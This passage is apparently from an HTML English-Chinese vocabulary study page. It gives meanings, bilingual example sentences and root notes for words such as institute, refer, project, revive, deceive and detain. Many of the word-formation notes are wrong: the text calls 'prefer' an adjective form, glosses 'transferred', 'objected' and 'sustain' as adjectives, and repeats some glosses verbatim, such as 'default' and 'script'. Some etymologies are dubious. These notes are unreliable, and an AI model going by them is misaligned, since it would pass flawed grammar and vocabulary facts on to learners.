vehicles.</p> <p>\u5728\u5927\u591a\u6570\u8f66\u8f86\u4e2d\uff0c\u7cfb\u5b89\u5168\u5e26\u662f\u5f3a\u5236\u6027\u7684\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3acompulsion\uff0c\u6307\u5f3a\u5236\uff0c\u5f3a\u8feb\uff0ccompulsorily\u4e3a\u526f\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u5f3a\u5236\u5730\u3002</p> <p>institute</p> <ul> <li> <p>n.</p> <ul> <li>\u673a\u6784, \u5b66\u9662, \u7814\u7a76\u6240</li> <li>\u534f\u4f1a, \u5b66\u4f1a</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u5efa\u7acb, \u8bbe\u7acb, \u5236\u5b9a</li> </ul> </li> </ul> <p>Eg</p> <p>The institute offers various programs in science and technology.</p> <p>\u8be5\u7814\u7a76\u6240\u63d0\u4f9b\u5404\u79cd\u79d1\u5b66\u548c\u6280\u672f\u8bfe\u7a0b\u3002</p> <p>They decided to institute new policies to improve efficiency.</p> <p>\u4ed6\u4eec\u51b3\u5b9a\u5236\u5b9a\u65b0\u653f\u7b56\u4ee5\u63d0\u9ad8\u6548\u7387\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3ainstitution\uff0c\u6307\u673a\u6784\uff0c\u5236\u5ea6\uff0cinstitutional\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u5236\u5ea6\u7684\uff0c\u673a\u6784\u7684\u3002</p> <p>in\u8868\u793a\u8fdb\u5165\uff0c\u8bcd\u6839\u65f6stitut\u65f6\u662fsta(=stand)\u7684\u53d8\u4f53\uff0c\u8868\u793a\u7ad9\u7acb\uff0c\u5efa\u7acb\u7684\u610f\u601d</p> <p>MIT(Massachusetts Institute of Technology)\u9ebb\u7701\u7406\u5de5\u5b66\u9662</p> <p>substitute \u4e3a\u66ff\u4ee3\u54c1(n)\uff0c\u4ee3\u66ff(v)\u7684\u610f\u601d(\u5728\u4e0b\u9762\u7ad9\u7740)</p> <p>proficient</p> <ul> <li>adj.<ul> <li>\u719f\u7ec3\u7684, \u7cbe\u901a\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>She is proficient in several languages.</p> <p>\u5979\u7cbe\u901a\u51e0\u79cd\u8bed\u8a00\u3002</p> <p>He is a proficient programmer.</p> <p>\u4ed6\u662f\u4e00\u540d\u719f\u7ec3\u7684\u7a0b\u5e8f\u5458\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3aproficiency\uff0c\u6307\u719f\u7ec3\uff0c\u7cbe\u901a\uff0cproficiently\u4e3a\u526f\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u719f\u7ec3\u5730\uff0c\u7cbe\u901a\u5730\u3002</p> <p>pro-\u8868\u793a\u5411\u524d\uff0c\u8bcd\u6839'ficient'\u8868\u793a\u6709\u80fd\u529b\u7684\uff0c\u80fd\u591f\u7684\u610f\u601d,\u65e9\u5c31\u80fd\u591f\u4e86\uff0c\u5f88\u719f\u7ec3\u4e86</p> <p>deficiency \u4e3a\u7f3a\u4e4f\uff0c\u4e0d\u8db3\uff0cdeficient\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u7f3a\u4e4f\u7684\uff0c\u4e0d\u8db3\u7684</p> <p>efficiency \u4e3a\u6548\u7387\uff0cefficient\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u6548\u7387\u9ad8\u7684\uff0c\u6709\u6548\u7684</p> <p>artificially \u4e3a\u4eba\u5de5\u7684\uff0cartificial\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u4eba\u5de5\u7684\uff0c\u4eba\u9020\u7684 </p> <p>refer</p> <ul> <li>v.<ul> <li>\u63d0\u5230, \u6d89\u53ca</li> <li>\u53c2\u8003, \u67e5\u9605</li> <li>\u5f52\u56e0\u4e8e</li> </ul> </li> </ul> <p>Eg</p> <p>Please refer to the manual for more information.</p> <p>\u8bf7\u53c2\u8003\u624b\u518c\u4ee5\u83b7\u53d6\u66f4\u591a\u4fe1\u606f\u3002</p> <p>He often refers to his notes during the lecture.</p> <p>\u4ed6\u5728\u8bb2\u5ea7\u671f\u95f4\u7ecf\u5e38\u53c2\u8003\u4ed6\u7684\u7b14\u8bb0\u3002</p> <p>The term 'refer' can also mean to mention or allude to something.</p> <p>'refer'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u8868\u793a\u63d0\u5230\u6216\u6697\u6307\u67d0\u4e8b\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3areference\uff0c\u6307\u53c2\u8003\uff0c\u63d0\u53ca\uff0creferential\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u53c2\u8003\u7684\uff0c\u63d0\u53ca\u7684\u3002</p> <p>re-\u8868\u793a\u56de\uff0c\u8bcd\u6839'fer'\u8868\u793a\u5e26\u6765\uff0c\u5e26\u56de\u53bb\uff0c\u8868\u793a\u53c2\u8003\uff0c\u63d0\u5230\u7684\u610f\u601d</p> <p>reference book \u53c2\u8003\u4e66</p> <p>infer \u4e3a\u63a8\u65ad\uff0c\u63a8\u8bba\uff0cinferred\u4e3a\u63a8\u65ad\u7684\uff0c\u63a8\u8bba\u7684</p> <p>prefer \u4e3a\u66f4\u559c\u6b22\uff0cprefer\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u66f4\u559c\u6b22\u7684</p> <p>transfer \u4e3a\u8f6c\u79fb\uff0c\u8f6c\u79fb\uff0ctransferred\u4e3a\u8f6c\u79fb\u7684\uff0c\u8f6c\u79fb\u7684</p> <p>project</p> <ul> <li>n.<ul> <li>\u9879\u76ee, \u8ba1\u5212</li> <li>\u5de5\u7a0b, \u65b9\u6848</li> </ul> </li> </ul> <p>Eg</p> <p>The team is working on a new project.</p> <p>\u56e2\u961f\u6b63\u5728\u8fdb\u884c\u4e00\u4e2a\u65b0\u9879\u76ee\u3002</p> <p>She presented her project to the class.</p> <p>\u5979\u5411\u73ed\u7ea7\u5c55\u793a\u4e86\u5979\u7684\u9879\u76ee\u3002</p> <p>The term 'project' can also mean to plan or propose something.</p> <p>'project'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u8868\u793a\u8ba1\u5212\u6216\u63d0\u8bae\u67d0\u4e8b\u3002</p> <p>\u5176\u52a8\u8bcd\u5f62\u5f0f\u4e3aproject\uff0c\u6307\u8ba1\u5212\uff0c\u8bbe\u8ba1\uff0cprojected\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u8ba1\u5212\u7684\uff0c\u8bbe\u8ba1\u7684\u3002</p> <p>pro-\u8868\u793a\u5411\u524d\uff0c\u8bcd\u6839'ject'\u8868\u793a\u6295\u63b7\uff0c\u5411\u524d\u6295\u63b7\uff0c\u8868\u793a\u8ba1\u5212\uff0c\u8bbe\u8ba1\u7684\u610f\u601d</p> <p>projection \u6295\u5f71\uff0c\u9884\u6d4b</p> <p>object \u4e3a\u7269\u4f53\uff0c\u76ee\u6807\uff0cobjected\u4e3a\u53cd\u5bf9\u7684\uff0c\u53cd\u5bf9\u7684</p> <p>subject \u4e3a\u4e3b\u9898\uff0c\u79d1\u76ee\uff0csubjected\u4e3a\u670d\u4ece\u7684\uff0c\u53d7\u5236\u7684</p> <p>reject \u4e3a\u62d2\u7edd\uff0c\u62d2\u7edd\uff0crejected\u4e3a\u88ab\u62d2\u7edd\u7684\uff0c\u88ab\u62d2\u7edd\u7684</p> <p>prior</p> <ul> <li>adj.<ul> <li>\u5148\u524d\u7684, \u4e4b\u524d\u7684</li> <li>\u4f18\u5148\u7684, \u66f4\u91cd\u8981\u7684</li> </ul> </li> </ul> <p>Eg</p> <p>She had a prior engagement and couldn't attend the meeting.</p> <p>\u5979\u6709\u4e00\u4e2a\u5148\u524d\u7684\u7ea6\u4f1a\uff0c\u4e0d\u80fd\u53c2\u52a0\u4f1a\u8bae\u3002</p> <p>The project was given prior approval.</p> <p>\u8be5\u9879\u76ee\u5f97\u5230\u4e86\u4e8b\u5148\u6279\u51c6\u3002</p> <p>The term 'prior' can also mean something that is more important or takes precedence.</p> <p>'prior'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u8868\u793a\u66f4\u91cd\u8981\u7684\u6216\u4f18\u5148\u7684\u4e8b\u7269\u3002</p> <p>\u5176\u526f\u8bcd\u5f62\u5f0f\u4e3apriorly\uff0c\u6307\u5148\u524d\u5730\uff0c\u4e4b\u524d\u5730\u3002</p> <p>pri-\u8868\u793a\u5728\u524d</p> <p>priority \u4f18\u5148\u6743\uff0c\u4f18\u5148\u4e8b\u9879</p> <p>prioritize \u4e3a\u4f18\u5148\u8003\u8651\uff0c\u4f18\u5148\u5904\u7406</p> <p>posterior \u4e3a\u540e\u9762\u7684\uff0c\u8f83\u540e\u7684</p> <p>superior \u4e3a\u66f4\u597d\u7684\uff0c\u4e0a\u7ea7\u7684</p> <p>inferior \u4e3a\u8f83\u5dee\u7684\uff0c\u4e0b\u7ea7\u7684</p> <p>renovation</p> <ul> <li>n.<ul> <li>\u7ffb\u65b0, \u4fee\u590d</li> <li>\u9769\u65b0, \u6539\u9020</li> </ul> </li> </ul> <p>Eg</p> <p>The building is closed for renovation.</p> <p>\u8fd9\u680b\u5efa\u7b51\u56e0\u7ffb\u65b0\u800c\u5173\u95ed\u3002</p> <p>The company is undergoing a major renovation of its management structure.</p> <p>\u8be5\u516c\u53f8\u6b63\u5728\u5bf9\u5176\u7ba1\u7406\u7ed3\u6784\u8fdb\u884c\u91cd\u5927\u6539\u9020\u3002</p> <p>The term 'renovation' can also refer to the process of making something new again or restoring it to a better state.</p> <p>'renovation'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4f7f\u67d0\u7269\u7115\u7136\u4e00\u65b0\u6216\u6062\u590d\u5230\u66f4\u597d\u72b6\u6001\u7684\u8fc7\u7a0b\u3002</p> <p>\u5176\u52a8\u8bcd\u5f62\u5f0f\u4e3arenovate\uff0c\u6307\u7ffb\u65b0\uff0c\u4fee\u590d\u3002</p> <p>re-\u8868\u793a\u518d\u6b21\uff0cnov-\u8868\u793a\u65b0\u7684</p> <p>innovate \u521b\u65b0\uff0c\u9769\u65b0</p> <p>innovation \u521b\u65b0\uff0c\u9769\u65b0</p> <p>novel \u65b0\u9896\u7684\uff0c\u65b0\u5947\u7684</p> <p>novelty \u65b0\u5947\uff0c\u65b0\u9896</p> <p>visualize</p> <ul> <li>v.<ul> <li>\u4f7f\u5f62\u8c61\u5316, \u4f7f\u53ef\u89c6\u5316</li> <li>\u60f3\u8c61, \u8bbe\u60f3</li> </ul> </li> </ul> <p>Eg</p> <p>The architect used software to visualize the new building design.</p> <p>\u5efa\u7b51\u5e08\u4f7f\u7528\u8f6f\u4ef6\u6765\u4f7f\u65b0\u5efa\u7b51\u8bbe\u8ba1\u53ef\u89c6\u5316\u3002</p> <p>She tried to visualize the scene in her mind.</p> <p>\u5979\u8bd5\u56fe\u5728\u8111\u6d77\u4e2d\u60f3\u8c61\u90a3\u4e2a\u573a\u666f\u3002</p> <p>The term 'visualize' can also refer to the process of forming a mental image or making something visible.</p> <p>'visualize'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5f62\u6210\u5fc3\u8c61\u6216\u4f7f\u67d0\u7269\u53ef\u89c1\u7684\u8fc7\u7a0b\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3avisualization\uff0c\u6307\u53ef\u89c6\u5316\uff0c\u5f62\u8c61\u5316\u3002</p> <p>vis-\u8868\u793a\u770b\u89c1</p> <p>vision \u89c6\u529b\uff0c\u89c6\u89c9</p> <p>visible \u53ef\u89c1\u7684\uff0c\u770b\u5f97\u89c1\u7684</p> <p>invisible \u770b\u4e0d\u89c1\u7684\uff0c\u9690\u5f62\u7684</p> <p>visual \u89c6\u89c9\u7684\uff0c\u89c6\u529b\u7684</p> <p>visualization \u53ef\u89c6\u5316\uff0c\u5f62\u8c61\u5316</p> <p>supervise \u76d1\u7763\uff0c\u76d1\u7763\uff0csupervised\u4e3a\u76d1\u7763\u7684\uff0c\u76d1\u7763\u7684 (\u5728\u4e0a\u9762\u770b)</p> <p>previse \u9884\u89c1\uff0c\u9884\u77e5\uff0cprevised\u4e3a\u9884\u89c1\u7684\uff0c\u9884\u77e5\u7684(\u63d0\u524d\u770b)</p> <p>revise \u4fee\u8ba2\uff0c\u4fee\u6539(\u518d\u770b\u4e00\u904d)</p> <p>television \u7535\u89c6\uff0c\u7535\u89c6\u673a\uff0ctele-\u8868\u793a\u8fdc\uff0c\u7535\u89c6\u628a\u8fdc\u7684\u4e1c\u897f\u4f20\u8fc7\u6765</p> <p>revive</p> <ul> <li>v.<ul> <li>\u4f7f\u590d\u6d3b, \u4f7f\u6062\u590d</li> <li>\u590d\u82cf, \u91cd\u65b0\u6d41\u884c(\u4e00\u822c\u6307\u7ecf\u6d4e)</li> </ul> </li> </ul> <p>Eg</p> <p>The doctor managed to revive the patient after the cardiac arrest.</p> <p>\u533b\u751f\u5728\u5fc3\u810f\u9aa4\u505c\u540e\u8bbe\u6cd5\u4f7f\u75c5\u4eba\u590d\u6d3b\u3002</p> <p>The old tradition is starting to revive in the community.</p> <p>\u8fd9\u4e2a\u53e4\u8001\u7684\u4f20\u7edf\u5728\u793e\u533a\u91cc\u5f00\u59cb\u91cd\u65b0\u6d41\u884c\u3002</p> <p>The term 'revive' can also refer to bringing something back into use or popularity.</p> <p>'revive'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u4f7f\u67d0\u7269\u91cd\u65b0\u4f7f\u7528\u6216\u6d41\u884c\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3arevival\uff0c\u6307\u590d\u6d3b\uff0c\u590d\u5174\u3002</p> <p>re-\u8868\u793a\u518d\uff0c\u91cd\u65b0</p> <p>revive \u4f7f\u590d\u6d3b\uff0c\u4f7f\u6062\u590d</p> <p>revival \u590d\u6d3b\uff0c\u590d\u5174</p> <p>revivify \u4f7f\u590d\u6d3b\uff0c\u4f7f\u6062\u590d\u751f\u6c14</p> <p>survive \u5e78\u5b58\uff0c\u5b58\u6d3b\uff0csurvived\u4e3a\u5e78\u5b58\u7684\uff0c\u5b58\u6d3b\u7684 (\u5728\u4e0b\u9762\u6d3b)</p> <p>derive \u6e90\u4e8e\uff0c\u5f97\u81ea\uff0cderived\u4e3a\u6e90\u4e8e\u7684\uff0c\u5f97\u81ea\u7684(\u4ece...\u800c\u6765)</p> <p>arrive \u5230\u8fbe\uff0c\u62b5\u8fbe(\u5230\u8fbe\u67d0\u5730)</p> <p>script</p> <ul> <li> <p>n.</p> <ul> <li>\u5267\u672c, \u811a\u672c</li> <li>\u5267\u672c, \u5267\u672c</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u5199, \u7f16\u5199</li> </ul> </li> </ul> <p>Eg</p> <p>The term 'script' can also refer to a written text of a play, movie, or broadcast.</p> <p>'script'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u620f\u5267\u3001\u7535\u5f71\u6216\u5e7f\u64ad\u7684\u4e66\u9762\u6587\u672c\u3002</p> <p>Scripts are essential in the entertainment industry for planning and production.</p> <p>\u5267\u672c\u5728\u5a31\u4e50\u884c\u4e1a\u4e2d\u5bf9\u4e8e\u89c4\u5212\u548c\u5236\u4f5c\u662f\u5fc5\u4e0d\u53ef\u5c11\u7684\u3002</p> <p>The word 'script' can also refer to handwriting or a particular style of writing.</p> <p>'script'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u624b\u5199\u4f53\u6216\u7279\u5b9a\u7684\u4e66\u5199\u98ce\u683c\u3002</p> <p>describe \u63cf\u8ff0\uff0c\u5f62\u5bb9</p> <p>inscribe \u94ed\u523b\uff0c\u9898\u8bcd</p> <p>subscribe \u8ba2\u9605\uff0c\u6350\u52a9</p> <p>ascribe \u5f52\u56e0\u4e8e\uff0c\u5f52\u548e\u4e8e(\u9664\u4e86ab-\u8868\u793a\u5426\u5b9a\uff0ca-\u90fd\u8868\u793a\u4e00\u518d)</p> <p>default</p> <ul> <li>adj.<ul> <li>\u9ed8\u8ba4\u7684, \u9ed8\u8ba4\u7684</li> <li>\u9ed8\u8ba4\u7684, \u9ed8\u8ba4\u7684</li> </ul> </li> <li>v.<ul> <li>\u4e0d\u5c65\u884c, \u4e0d\u5c65\u884c</li> </ul> </li> </ul> <p>Eg</p> <p>The default setting is to turn on the lights when the door is opened.</p> <p>\u9ed8\u8ba4\u8bbe\u7f6e\u662f\u5f53\u95e8\u6253\u5f00\u65f6\u6253\u5f00\u706f\u3002</p> <p>The default option is to save the file before closing.</p> <p>\u9ed8\u8ba4\u9009\u9879\u662f\u4fdd\u5b58\u6587\u4ef6\u540e\u518d\u5173\u95ed\u3002</p> <p>deceive</p> <ul> <li>v.<ul> <li>\u6b3a\u9a97, \u8499\u9a97</li> <li>\u8bef\u5bfc, \u4f7f\u8bef\u89e3</li> </ul> </li> </ul> <p>Eg</p> <p>He tried to deceive his friends about his whereabouts.</p> <p>\u4ed6\u8bd5\u56fe\u6b3a\u9a97\u670b\u53cb\u5173\u4e8e\u4ed6\u7684\u884c\u8e2a\u3002</p> <p>The magician's trick was designed to deceive the audience.</p> <p>\u9b54\u672f\u5e08\u7684\u628a\u620f\u662f\u4e3a\u4e86\u6b3a\u9a97\u89c2\u4f17\u3002</p> <p>The term 'deceive' can also mean to cause someone to believe something that is not true.</p> <p>'deceive'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u8868\u793a\u4f7f\u67d0\u4eba\u76f8\u4fe1\u4e0d\u771f\u5b9e\u7684\u4e8b\u60c5\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3adeception\uff0c\u6307\u6b3a\u9a97\uff0c\u8499\u9a97\uff0cdeceptive\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u6b3a\u9a97\u6027\u7684\uff0c\u8bef\u5bfc\u7684\u3002</p> <p>perceive \u611f\u77e5\uff0c\u5bdf\u89c9\uff0cperceived\u4e3a\u611f\u77e5\u7684\uff0c\u5bdf\u89c9\u7684</p> <p>conceive \u6784\u601d\uff0c\u8bbe\u60f3\uff0cconceived\u4e3a\u6784\u601d\u7684\uff0c\u8bbe\u60f3\u7684</p> <p>receive \u63a5\u6536\uff0c\u6536\u5230\uff0creceived\u4e3a\u63a5\u6536\u7684\uff0c\u6536\u5230\u7684</p> <p>detain</p> <ul> <li>v.<ul> <li>\u62d8\u7559, \u6263\u7559</li> <li>\u803d\u6401, \u5ef6\u8bef</li> </ul> </li> </ul> <p>Eg</p> <p>The police decided to detain the suspect for further questioning.</p> <p>\u8b66\u65b9\u51b3\u5b9a\u62d8\u7559\u5acc\u7591\u4eba\u4ee5\u4fbf\u8fdb\u4e00\u6b65\u5ba1\u95ee\u3002</p> <p>The unexpected traffic jam will detain us for an hour.</p> <p>\u610f\u5916\u7684\u4ea4\u901a\u5835\u585e\u4f1a\u803d\u6401\u6211\u4eec\u4e00\u4e2a\u5c0f\u65f6\u3002</p> <p>The term 'detain' can also mean to keep someone from proceeding or to hold back.</p> <p>'detain'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u8868\u793a\u963b\u6b62\u67d0\u4eba\u524d\u8fdb\u6216\u62d6\u5ef6\u3002</p> <p>\u5176\u540d\u8bcd\u5f62\u5f0f\u4e3adetention\uff0c\u6307\u62d8\u7559\uff0c\u6263\u7559\uff0cdetained\u4e3a\u5f62\u5bb9\u8bcd\u5f62\u5f0f\uff0c\u8868\u793a\u88ab\u62d8\u7559\u7684\uff0c\u88ab\u6263\u7559\u7684\u3002</p> <p>maintain \u7ef4\u6301\uff0c\u4fdd\u6301\uff0cmaintained\u4e3a\u7ef4\u6301\u7684\uff0c\u4fdd\u6301\u7684</p> <p>entertain \u5a31\u4e50\uff0c\u6b3e\u5f85\uff0centertainment \u5a31\u4e50\u6d3b\u52a8</p> <p>sustain \u7ef4\u6301\uff0c\u652f\u6301\uff0csustain\u4e3a\u7ef4\u6301\u7684\uff0c\u652f\u6301\u7684</p> <p>retain \u4fdd\u6301\uff0c\u4fdd\u7559\uff0cretained\u4e3a\u4fdd\u6301\u7684\uff0c\u4fdd\u7559\u7684</p> <p>obtain \u83b7\u5f97\uff0c\u53d6\u5f97\uff0cobtained\u4e3a\u83b7\u5f97\u7684\uff0c\u53d6\u5f97\u7684</p> <p>attain \u8fbe\u5230\uff0c\u83b7\u5f97</p> <p>guilt</p> <ul> <li>n.<ul> <li>\u7f6a\u884c, \u7f6a\u8fc7</li> <li>\u5185\u759a, \u81ea\u8d23</li> </ul> </li> </ul> <p>Eg</p> <p>The jury found him guilty of the crime.</p> <p>\u966a\u5ba1\u56e2\u8ba4\u5b9a\u4ed6\u6709\u7f6a\u3002</p> <p>She felt a deep sense of guilt after lying to her friend.</p> <p>\u5979\u5728\u5bf9\u670b\u53cb\u6492\u8c0e\u540e\u611f\u5230\u6df1\u6df1\u7684\u5185\u759a\u3002</p> <p>The term 'guilt' can also refer to a feeling of responsibility or remorse for some offense, crime, or wrong.</p> <p>'guilt'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5bf9\u67d0\u4e9b\u7f6a\u884c\u3001\u72af\u7f6a\u6216\u9519\u8bef\u7684\u8d23\u4efb\u611f\u6216\u6094\u6068\u3002</p> <p>\u5176\u5f62\u5bb9\u8bcd\u5f62\u5f0f\u4e3aguilty\uff0c\u8868\u793a\u6709\u7f6a\u7684\uff0c\u5185\u759a\u7684\u3002</p> <p>\u53cd\u4e49\u8bcdinnocent\u4e3a\u65e0\u7f6a\u7684</p> <p>outrage</p> <ul> <li> <p>n.</p> <ul> <li>\u6124\u6012, \u4e49\u6124</li> <li>\u66b4\u884c, \u4fae\u8fb1</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u6fc0\u6012, \u4f7f\u6124\u6012</li> </ul> </li> </ul> <p>Eg</p> <p>The news of the scandal caused public outrage.</p> <p>\u4e11\u95fb\u7684\u6d88\u606f\u5f15\u8d77\u4e86\u516c\u4f17\u7684\u6124\u6012\u3002</p> <p>The brutal attack was an outrage against humanity.</p> <p>\u8fd9\u6b21\u6b8b\u5fcd\u7684\u88ad\u51fb\u662f\u5bf9\u4eba\u7c7b\u7684\u66b4\u884c\u3002</p> <p>The term 'outrage' can also refer to an act that causes great anger or shock.</p> <p>'outrage'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5f15\u8d77\u6781\u5927\u6124\u6012\u6216\u9707\u60ca\u7684\u884c\u4e3a\u3002</p> <p>\u5176\u5f62\u5bb9\u8bcd\u5f62\u5f0f\u4e3aoutraged\uff0c\u8868\u793a\u6124\u6012\u7684\uff0c\u4e49\u6124\u586b\u81ba\u7684\u3002</p> <p>\u53cd\u4e49\u8bcd\u4e3acalm\uff0c\u8868\u793a\u5e73\u9759\u7684\u3002</p> <p>rebel</p> <ul> <li> <p>n.</p> <ul> <li>\u53cd\u53db\u8005, \u53db\u9006\u8005</li> <li>\u53cd\u6297\u8005</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u53cd\u53db, \u9020\u53cd</li> <li>\u53cd\u6297, \u62b5\u6297</li> </ul> </li> </ul> <p>Eg</p> <p>The rebels took control of the capital.</p> <p>\u53cd\u53db\u8005\u63a7\u5236\u4e86\u9996\u90fd\u3002</p> <p>She rebelled against the strict rules imposed by her parents.</p> <p>\u5979\u53cd\u6297\u7236\u6bcd\u65bd\u52a0\u7684\u4e25\u683c\u89c4\u5b9a\u3002</p> <p>The term 'rebel' can also refer to someone who resists authority, control, or tradition.</p> <p>'rebel'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u62b5\u6297\u6743\u5a01\u3001\u63a7\u5236\u6216\u4f20\u7edf\u7684\u4eba\u3002</p> <p>\u5176\u5f62\u5bb9\u8bcd\u5f62\u5f0f\u4e3arebellious\uff0c\u8868\u793a\u53cd\u53db\u7684\uff0c\u53db\u9006\u7684\u3002</p> <p>terror</p> <ul> <li>n.<ul> <li>\u6050\u6016, \u6050\u60e7</li> <li>\u6050\u6016\u6d3b\u52a8, \u6050\u6016\u4e3b\u4e49</li> </ul> </li> </ul> <p>Eg</p> <p>The mere thought of the haunted house filled her with terror.</p> <p>\u4e00\u60f3\u5230\u9b3c\u5c4b\uff0c\u5979\u5c31\u5145\u6ee1\u4e86\u6050\u60e7\u3002</p> <p>The city was in a state of terror after the series of attacks.</p> <p>\u4e00\u7cfb\u5217\u88ad\u51fb\u540e\uff0c\u57ce\u5e02\u5904\u4e8e\u6050\u6016\u72b6\u6001\u3002</p> <p>The term 'terror' can also refer to extreme fear or the use of violence to intimidate people.</p> <p>'terror'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u6781\u5ea6\u7684\u6050\u60e7\u6216\u4f7f\u7528\u66b4\u529b\u6765\u6050\u5413\u4eba\u4eec\u3002</p> <p>verdict</p> <ul> <li>n.<ul> <li>\u88c1\u51b3, \u5224\u51b3</li> <li>\u5b9a\u8bba, \u7ed3\u8bba</li> </ul> </li> </ul> <p>Eg</p> <p>The jury reached a unanimous verdict of 'not guilty'.</p> <p>\u966a\u5ba1\u56e2\u8fbe\u6210\u4e86\u4e00\u81f4\u7684'\u65e0\u7f6a'\u88c1\u51b3\u3002</p> <p>The judge's verdict was based on the evidence presented in court.</p> <p>\u6cd5\u5b98\u7684\u5224\u51b3\u662f\u57fa\u4e8e\u6cd5\u5ead\u4e0a\u63d0\u4f9b\u7684\u8bc1\u636e\u3002</p> <p>The term 'verdict' can also refer to an opinion or judgment about something.</p> <p>'verdict'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5bf9\u67d0\u4e8b\u7684\u610f\u89c1\u6216\u5224\u65ad\u3002</p> <p>blast</p> <ul> <li> <p>n.</p> <ul> <li>\u7206\u70b8, \u7206\u7834</li> <li>\u4e00\u9635\u5f3a\u98ce, \u51b2\u51fb\u6ce2</li> </ul> </li> <li> <p>v.</p> <ul> <li>\u7206\u70b8</li> </ul> </li> </ul> <p>Eg</p> <p>The blast from the explosion shattered all the windows in the building.</p> <p>\u7206\u70b8\u7684\u51b2\u51fb\u6ce2\u9707\u788e\u4e86\u5927\u697c\u7684\u6240\u6709\u7a97\u6237\u3002</p> <p>A cold blast of air hit her as she opened the door.</p> <p>\u5f53\u5979\u6253\u5f00\u95e8\u65f6\uff0c\u4e00\u9635\u51b7\u98ce\u88ad\u6765\u3002</p> <p>The term 'blast' can also refer to a loud noise or an enjoyable experience.</p> <p>'blast'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5de8\u54cd\u6216\u4e00\u6b21\u6109\u5feb\u7684\u7ecf\u5386\u3002</p> <p>emergency</p> <ul> <li>n.<ul> <li>\u7d27\u6025\u60c5\u51b5, \u7a81\u53d1\u4e8b\u4ef6</li> <li>\u7d27\u6025\u72b6\u6001</li> </ul> </li> </ul> <p>Eg</p> <p>The hospital is equipped to handle any kind of emergency.</p> <p>\u533b\u9662\u914d\u5907\u4e86\u5904\u7406\u4efb\u4f55\u7d27\u6025\u60c5\u51b5\u7684\u8bbe\u5907\u3002</p> <p>In case of an emergency, please call 911 immediately.</p> <p>\u5982\u679c\u53d1\u751f\u7d27\u6025\u60c5\u51b5\uff0c\u8bf7\u7acb\u5373\u62e8\u6253911\u3002</p> <p>The term 'emergency' can also refer to a situation that requires immediate action or attention.</p> <p>'emergency'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u9700\u8981\u7acb\u5373\u91c7\u53d6\u884c\u52a8\u6216\u6ce8\u610f\u7684\u60c5\u51b5\u3002</p> <p>\u5176\u5f62\u5bb9\u8bcd\u5f62\u5f0f\u4e3aemergent\uff0c\u8868\u793a\u7d27\u6025\u7684\uff0c\u7a81\u53d1\u7684\u3002</p> <p>emerge \u51fa\u73b0\uff0c\u6d6e\u73b0\uff0cemerged\u4e3a\u51fa\u73b0\u7684\uff0c\u6d6e\u73b0\u7684</p> <p>urgent \u7d27\u6025\u7684\uff0c\u6025\u8feb\u7684</p> <p>urgency \u7d27\u6025\uff0c\u6025\u8feb</p> <p>misfortune</p> <ul> <li>n.<ul> <li>\u4e0d\u5e78, \u707e\u96be</li> <li>\u5384\u8fd0, \u5012\u9709</li> </ul> </li> </ul> <p>Eg</p> <p>He had the misfortune of losing his job during the economic downturn.</p> <p>\u4ed6\u5728\u7ecf\u6d4e\u8870\u9000\u671f\u95f4\u5931\u53bb\u4e86\u5de5\u4f5c\uff0c\u771f\u662f\u4e0d\u5e78\u3002</p> <p>The family's misfortune seemed to never end.</p> <p>\u8fd9\u4e2a\u5bb6\u5ead\u7684\u4e0d\u5e78\u4f3c\u4e4e\u6c38\u65e0\u6b62\u5883\u3002</p> <p>The term 'misfortune' can also refer to an event or circumstance that brings bad luck or adversity.</p> <p>'misfortune'\u8fd9\u4e2a\u8bcd\u4e5f\u53ef\u4ee5\u6307\u5e26\u6765\u5384\u8fd0\u6216\u9006\u5883\u7684\u4e8b\u4ef6\u6216\u60c5\u51b5\u3002</p> 